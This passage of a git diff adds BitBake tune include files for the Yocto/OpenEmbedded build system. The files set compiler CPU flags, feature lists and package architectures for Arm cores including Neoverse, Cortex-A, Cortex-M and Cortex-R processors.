index 0000000000..e906cf965c
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Neoverse-E1
+#
+DEFAULTTUNE ?= "neoversee1"
+
+TUNEVALID[neoversee1] = "Enable Neoverse-E1 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoversee1', ' -mcpu=neoverse-e1', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "neoversee1"
+ARMPKGARCH:tune-neoversee1 = "neoversee1"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-neoversee1 = "aarch64 crypto neoversee1"
+PACKAGE_EXTRA_ARCHS:tune-neoversee1 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} neoversee1"
+BASE_LIB:tune-neoversee1 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc b/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc
new file mode 100644
index 0000000000..55f054713f
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Neoverse-N1
+#
+DEFAULTTUNE ?= "neoversen1"
+
+TUNEVALID[neoversen1] = "Enable Neoverse-N1 specific processor optimizations"
+# Note: Neoverse was called Ares, and GCC will accept "ares" in place of "neoverse-n1"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoversen1', ' -mcpu=neoverse-n1', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "neoversen1"
+ARMPKGARCH:tune-neoversen1 = "neoversen1"
+TUNE_FEATURES:tune-neoversen1 = "aarch64 crypto neoversen1"
+PACKAGE_EXTRA_ARCHS:tune-neoversen1 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} neoversen1"
+BASE_LIB:tune-neoversen1 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc b/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc
new file mode 100644
index 0000000000..e9d7a59c51
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "octeontx2"
+
+TUNEVALID[octeontx2] = "Enable Marvell octeontx2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeontx2', ' -mcpu=octeontx2', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "octeontx2"
+ARMPKGARCH:tune-octeontx2 = "octeontx2"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-octeontx2 = "aarch64 crypto octeontx2"
+PACKAGE_EXTRA_ARCHS:tune-octeontx2 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} octeontx2"
+BASE_LIB:tune-octeontx2 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-4a/tune-neoverse512tvb.inc b/meta/conf/machine/include/arm/armv8-4a/tune-neoverse512tvb.inc
new file mode 100644
index 0000000000..450bf74896
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-4a/tune-neoverse512tvb.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for neoverse-512tvb
+#
+DEFAULTTUNE ?= "neoverse512tvb"
+
+TUNEVALID[neoverse512tvb] = "Enable neoverse-512tvb specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoverse512tvb', ' -mcpu=neoverse-512tvb', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-4a.inc
+
+AVAILTUNES += "neoverse512tvb"
+ARMPKGARCH:tune-neoverse512tvb = "neoverse512tvb"
+TUNE_FEATURES:tune-neoverse512tvb = "aarch64 crypto neoverse512tvb"
+PACKAGE_EXTRA_ARCHS:tune-neoverse512tvb = "${PACKAGE_EXTRA_ARCHS:tune-armv8-4a-crypto} neoverse512tvb"
+BASE_LIB:tune-neoverse512tvb = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-4a/tune-neoversev1.inc b/meta/conf/machine/include/arm/armv8-4a/tune-neoversev1.inc
new file mode 100644
index 0000000000..2b4da7db3c
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-4a/tune-neoversev1.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for neoverse-v1
+#
+DEFAULTTUNE ?= "neoversev1"
+
+TUNEVALID[neoversev1] = "Enable neoverse-v1 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoversev1', ' -mcpu=neoverse-v1', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-4a.inc
+
+AVAILTUNES += "neoversev1"
+ARMPKGARCH:tune-neoversev1 = "neoversev1"
+TUNE_FEATURES:tune-neoversev1 = "aarch64 crypto neoversev1"
+PACKAGE_EXTRA_ARCHS:tune-neoversev1 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-4a-crypto} neoversev1"
+BASE_LIB:tune-neoversev1 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc
new file mode 100644
index 0000000000..e83e0ba68a
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for Cortex-M23
+#
+DEFAULTTUNE ?= "cortexm23"
+
+TUNEVALID[cortexm23] = "Enable Cortex-M23 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm23', ' -mcpu=cortex-m23', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-base.inc
+
+AVAILTUNES += "cortexm23"
+ARMPKGARCH:tune-cortexm23 = "cortexm23"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexm23 = "cortexm23"
+PACKAGE_EXTRA_ARCHS:tune-cortexm23 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-base} cortexm23"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc
new file mode 100644
index 0000000000..606900d7a2
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc
@@ -0,0 +1,18 @@
+#
+# Tune Settings for Cortex-M33
+#
+DEFAULTTUNE ?= "cortexm33"
+
+TUNEVALID[cortexm33] = "Enable Cortex-M33 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm33', ' -mcpu=cortex-m33', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+# GCC thnks that DSP and VFP are required, but Arm docs say it is
+# optional. So forcing below so that compiling works, but this should
+# be fixed in GCC
+AVAILTUNES += "cortexm33"
+ARMPKGARCH:tune-cortexm33 = "cortexm33"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexm33 = "vfpv5spd16 dsp cortexm33"
+PACKAGE_EXTRA_ARCHS:tune-cortexm33 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16} cortexm33e-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc
new file mode 100644
index 0000000000..4394adab0b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc
@@ -0,0 +1,18 @@
+#
+# Tune Settings for Cortex-M35P
+#
+DEFAULTTUNE ?= "cortexm35p"
+
+TUNEVALID[cortexm35p] = "Enable Cortex-M35p specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm35p', ' -mcpu=cortex-m35p', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+# GCC thnks that DSP and VFP are required, but Arm docs say it is
+# optional. So forcing below so that compiling works, but this should
+# be fixed in GCC
+AVAILTUNES += "cortexm35p"
+ARMPKGARCH:tune-cortexm35p = "cortexm35p"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexm35p = "vfpv5spd16 dsp cortexm35p"
+PACKAGE_EXTRA_ARCHS:tune-cortexm35p = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16} cortexm35pe-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc
new file mode 100644
index 0000000000..25bdf12b18
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc
@@ -0,0 +1,18 @@
+DEFAULTTUNE ?= "cortexa32"
+
+TUNEVALID[cortexa32] = "Enable Cortex-A32 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa32', ' -mcpu=cortex-a32', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa32 cortexa32-crypto"
+ARMPKGARCH:tune-cortexa32 = "cortexa32"
+ARMPKGARCH:tune-cortexa32-crypto = "cortexa32"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa32 = "aarch64 cortexa32 crc callconvention-hard neon"
+TUNE_FEATURES:tune-cortexa32-crypto = "${TUNE_FEATURES:tune-cortexa32} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa32 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa32 cortexa32hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa32-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa32 cortexa32hf-neon cortexa32hf-neon-crypto"
+BASE_LIB:tune-cortexa32 = "lib"
+BASE_LIB:tune-cortexa32-crypto = "lib"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc
new file mode 100644
index 0000000000..c195d73378
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc
@@ -0,0 +1,21 @@
+#
+# Tune Settings for Cortex-A34
+#
+DEFAULTTUNE ?= "cortexa34"
+
+TUNEVALID[cortexa34] = "Enable Cortex-A34 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa34', ' -mcpu=cortex-a34', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa34 cortexa34-crypto"
+ARMPKGARCH:tune-cortexa34 = "cortexa34"
+ARMPKGARCH:tune-cortexa34-crypto = "cortexa34"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa34 = "aarch64 crc cortexa34"
+TUNE_FEATURES:tune-cortexa34-crypto = "${TUNE_FEATURES:tune-cortexa34} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa34 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa34"
+PACKAGE_EXTRA_ARCHS:tune-cortexa34-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa34 cortexa34-crypto"
+BASE_LIB:tune-cortexa34 = "lib64"
+BASE_LIB:tune-cortexa34-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc
new file mode 100644
index 0000000000..d811c84455
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc
@@ -0,0 +1,18 @@
+DEFAULTTUNE ?= "cortexa35"
+
+TUNEVALID[cortexa35] = "Enable Cortex-A35 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa35', ' -mcpu=cortex-a35', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa35 cortexa35-crypto"
+ARMPKGARCH:tune-cortexa35 = "cortexa35"
+ARMPKGARCH:tune-cortexa35-crypto = "cortexa35"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa35 = "aarch64 crc cortexa35"
+TUNE_FEATURES:tune-cortexa35-crypto = "${TUNE_FEATURES:tune-cortexa35} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa35 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa35"
+PACKAGE_EXTRA_ARCHS:tune-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa35 cortexa35-crypto"
+BASE_LIB:tune-cortexa35 = "lib64"
+BASE_LIB:tune-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc
new file mode 100644
index 0000000000..a88575eb15
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc
@@ -0,0 +1,18 @@
+DEFAULTTUNE ?= "cortexa53"
+
+TUNEVALID[cortexa53] = "Enable Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa53', ' -mcpu=cortex-a53', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa53 cortexa53-crypto"
+ARMPKGARCH:tune-cortexa53 = "cortexa53"
+ARMPKGARCH:tune-cortexa53-crypto = "cortexa53-crypto"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa53 = "aarch64 crc cortexa53"
+TUNE_FEATURES:tune-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa53 cortexa53-crypto"
+BASE_LIB:tune-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa53-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc
new file mode 100644
index 0000000000..052d1173c9
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc
@@ -0,0 +1,15 @@
+DEFAULTTUNE ?= "cortexa57-cortexa53"
+
+TUNEVALID[cortexa57-cortexa53] = "Enable big.LITTLE Cortex-A57.Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", " -mcpu=cortex-a57.cortex-a53", "", d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", "cortexa57-cortexa53:", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa57-cortexa53"
+ARMPKGARCH:tune-cortexa57-cortexa53 = "cortexa57-cortexa53"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa57-cortexa53 = "aarch64 crc cortexa57-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa57-cortexa53"
+BASE_LIB:tune-cortexa57-cortexa53 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc
new file mode 100644
index 0000000000..b0de20f836
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc
@@ -0,0 +1,18 @@
+DEFAULTTUNE ?= "cortexa57"
+
+TUNEVALID[cortexa57] = "Enable Cortex-A57 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa57', ' -mcpu=cortex-a57', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa57 cortexa57-crypto"
+ARMPKGARCH:tune-cortexa57 = "cortexa57"
+ARMPKGARCH:tune-cortexa57-crypto = "cortexa57-crypto"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa57 = "aarch64 crc cortexa57"
+TUNE_FEATURES:tune-cortexa57-crypto = "${TUNE_FEATURES:tune-cortexa57} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa57"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa57 cortexa57-crypto"
+BASE_LIB:tune-cortexa57 = "lib64"
+BASE_LIB:tune-cortexa57-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc
new file mode 100644
index 0000000000..ff188aec5f
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc
@@ -0,0 +1,20 @@
+DEFAULTTUNE ?= "cortexa72-cortexa53"
+
+TUNEVALID[cortexa72-cortexa53] = "Enable big.LITTLE Cortex-A72.Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", " -mcpu=cortex-a72.cortex-a53", "", d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", "cortexa72-cortexa53:", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# cortexa72.cortexa53 implies crc support
+AVAILTUNES += "cortexa72-cortexa53 cortexa72-cortexa53-crypto"
+ARMPKGARCH:tune-cortexa72-cortexa53 = "cortexa72-cortexa53"
+ARMPKGARCH:tune-cortexa72-cortexa53-crypto = "cortexa72-cortexa53-crypto"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa72-cortexa53 = "aarch64 crc cortexa72-cortexa53"
+TUNE_FEATURES:tune-cortexa72-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa72-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa72-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa72-cortexa53 cortexa72-cortexa53-crypto"
+BASE_LIB:tune-cortexa72-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa72-cortexa53-crypto = "lib64"
+
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc
new file mode 100644
index 0000000000..cbb6418c06
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc
@@ -0,0 +1,18 @@
+DEFAULTTUNE ?= "cortexa72"
+
+TUNEVALID[cortexa72] = "Enable Cortex-A72 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa72', ' -mcpu=cortex-a72', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa72 cortexa72-crypto"
+ARMPKGARCH:tune-cortexa72 = "cortexa72"
+ARMPKGARCH:tune-cortexa72-crypto = "cortexa72"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa72 = "aarch64 crc cortexa72"
+TUNE_FEATURES:tune-cortexa72-crypto = "${TUNE_FEATURES:tune-cortexa72} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa72"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa72 cortexa72-crypto"
+BASE_LIB:tune-cortexa72 = "lib64"
+BASE_LIB:tune-cortexa72-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc
new file mode 100644
index 0000000000..4f4f25f511
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc
@@ -0,0 +1,22 @@
+#
+# Tune Settings for big.LITTLE Cortex-A73 - Cortex-A35
+#
+DEFAULTTUNE ?= "cortexa73-cortexa35"
+
+TUNEVALID[cortexa73-cortexa35] = "Enable big.LITTLE Cortex-A73.Cortex-A35 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa35", "cortexa73-cortexa35:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa35", " -mcpu=cortex-a73.cortex-a35", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# cortexa73.cortexa35 implies crc support
+AVAILTUNES += "cortexa73-cortexa35 cortexa73-cortexa35-crypto"
+ARMPKGARCH:tune-cortexa73-cortexa35 = "cortexa73-cortexa35"
+ARMPKGARCH:tune-cortexa73-cortexa35-crypto = "cortexa73-cortexa35-crypto"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa73-cortexa35 = "aarch64 crc cortexa73-cortexa35"
+TUNE_FEATURES:tune-cortexa73-cortexa35-crypto = "${TUNE_FEATURES:tune-cortexa73-cortexa35} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa35 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa73-cortexa35"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73-cortexa35 cortexa73-cortexa35-crypto"
+BASE_LIB:tune-cortexa73-cortexa35 = "lib64"
+BASE_LIB:tune-cortexa73-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc
new file mode 100644
index 0000000000..1d152ed83b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc
@@ -0,0 +1,20 @@
+DEFAULTTUNE ?= "cortexa73-cortexa53"
+
+TUNEVALID[cortexa73-cortexa53] = "Enable big.LITTLE Cortex-A73.Cortex-A53 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", "cortexa73-cortexa53:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", " -mcpu=cortex-a73.cortex-a53", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# cortexa73.cortexa53 implies crc support
+AVAILTUNES += "cortexa73-cortexa53 cortexa73-cortexa53-crypto"
+ARMPKGARCH:tune-cortexa73-cortexa53 = "cortexa73-cortexa53"
+ARMPKGARCH:tune-cortexa73-cortexa53-crypto = "cortexa73-cortexa53-crypto"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa73-cortexa53 = "aarch64 crc cortexa73-cortexa53"
+TUNE_FEATURES:tune-cortexa73-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa73-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa73-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73-cortexa53 cortexa73-cortexa53-crypto"
+BASE_LIB:tune-cortexa73-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa73-cortexa53-crypto = "lib64"
+
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc
new file mode 100644
index 0000000000..b3b06a4f09
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc
@@ -0,0 +1,21 @@
+#
+# Tune Settings for Cortex-A73
+#
+DEFAULTTUNE ?= "cortexa73"
+
+TUNEVALID[cortexa73] = "Enable Cortex-A73 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa73', ' -mcpu=cortex-a73', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa73 cortexa73-crypto"
+ARMPKGARCH:tune-cortexa73 = "cortexa73"
+ARMPKGARCH:tune-cortexa73-crypto = "cortexa73"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexa73 = "aarch64 crc cortexa73"
+TUNE_FEATURES:tune-cortexa73-crypto = "${TUNE_FEATURES:tune-cortexa73} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa73"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73 cortexa73-crypto"
+BASE_LIB:tune-cortexa73 = "lib64"
+BASE_LIB:tune-cortexa73-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc b/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc
new file mode 100644
index 0000000000..7bc6282be8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "thunderx"
+AVAILTUNES += "thunderx thunderx_be"
+
+TUNEVALID[thunderx] = "Enable instructions for Cavium ThunderX"
+
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thunderx', ' -mcpu=thunderx', '',d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+ARMPKGARCH:tune-thunderx ?= "thunderx"
+ARMPKGARCH:tune-thunderx_be ?= "thunderx"
+
+TUNE_FEATURES:tune-thunderx = "${TUNE_FEATURES:tune-aarch64} thunderx"
+TUNE_FEATURES:tune-thunderx_be = "${TUNE_FEATURES:tune-thunderx} bigendian"
+BASE_LIB:tune-thunderx = "lib64"
+BASE_LIB:tune-thunderx_be = "lib64"
+
+PACKAGE_EXTRA_ARCHS:tune-thunderx = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} thunderx"
+PACKAGE_EXTRA_ARCHS:tune-thunderx_be = "aarch64_be thunderx_be"
diff --git a/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc b/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc
new file mode 100644
index 0000000000..89f0e09450
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc
@@ -0,0 +1,20 @@
+#
+# Tune Settings for Cortex-R52
+#
+DEFAULTTUNE ?= "cortexr52"
+
+TUNEVALID[cortexr52] = "Enable Cortex-R52 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr52', ' -mcpu=cortex-r52', '', d)}"
+
+require conf/machine/include/arm/arch-armv8r.inc
+
+AVAILTUNES += "cortexr52"
+ARMPKGARCH:tune-cortexr52 = "cortexr52"
+# We do not want -march since -mcpu is added above to cover for it
+TUNE_FEATURES:tune-cortexr52 = "aarch64 crc simd cortexr52"
+PACKAGE_EXTRA_ARCHS:tune-cortexr52 = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd} cortexr52"
+
+AVAILTUNES += "cortexr52hf"
+ARMPKGARCH:tune-cortexr52hf = "cortexr52"
+TUNE_FEATURES:tune-cortexr52hf = "${TUNE_FEATURES:tune-cortexr52} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexr52hf = "cortexr52hf"
diff --git a/meta/conf/machine/include/arm/armv8r/tune-cortexr82.inc b/meta/conf/machine/include/arm/armv8r/tune-cortexr82.inc
new file mode 100644
index 0000000000..84b2471c6b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8r/tune-cortexr82.inc
@@ -0,0 +1,15 @@
+#
+# Tune Settings for cortex-r82
+#
+DEFAULTTUNE ?= "cortexr82"
+
+TUNEVALID[cortexr82] = "Enable cortex-r82 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr82', ' -mcpu=cortex-r82', '', d)}"
+
+require conf/machine/include/arm/arch-armv8r.inc
+
+AVAILTUNES += "cortexr82"
+ARMPKGARCH:tune-cortexr82 = "cortexr82"
+TUNE_FEATURES:tune-cortexr82 = "${TUNE_FEATURES:tune-armv8r-crc-simd} cortexr82"
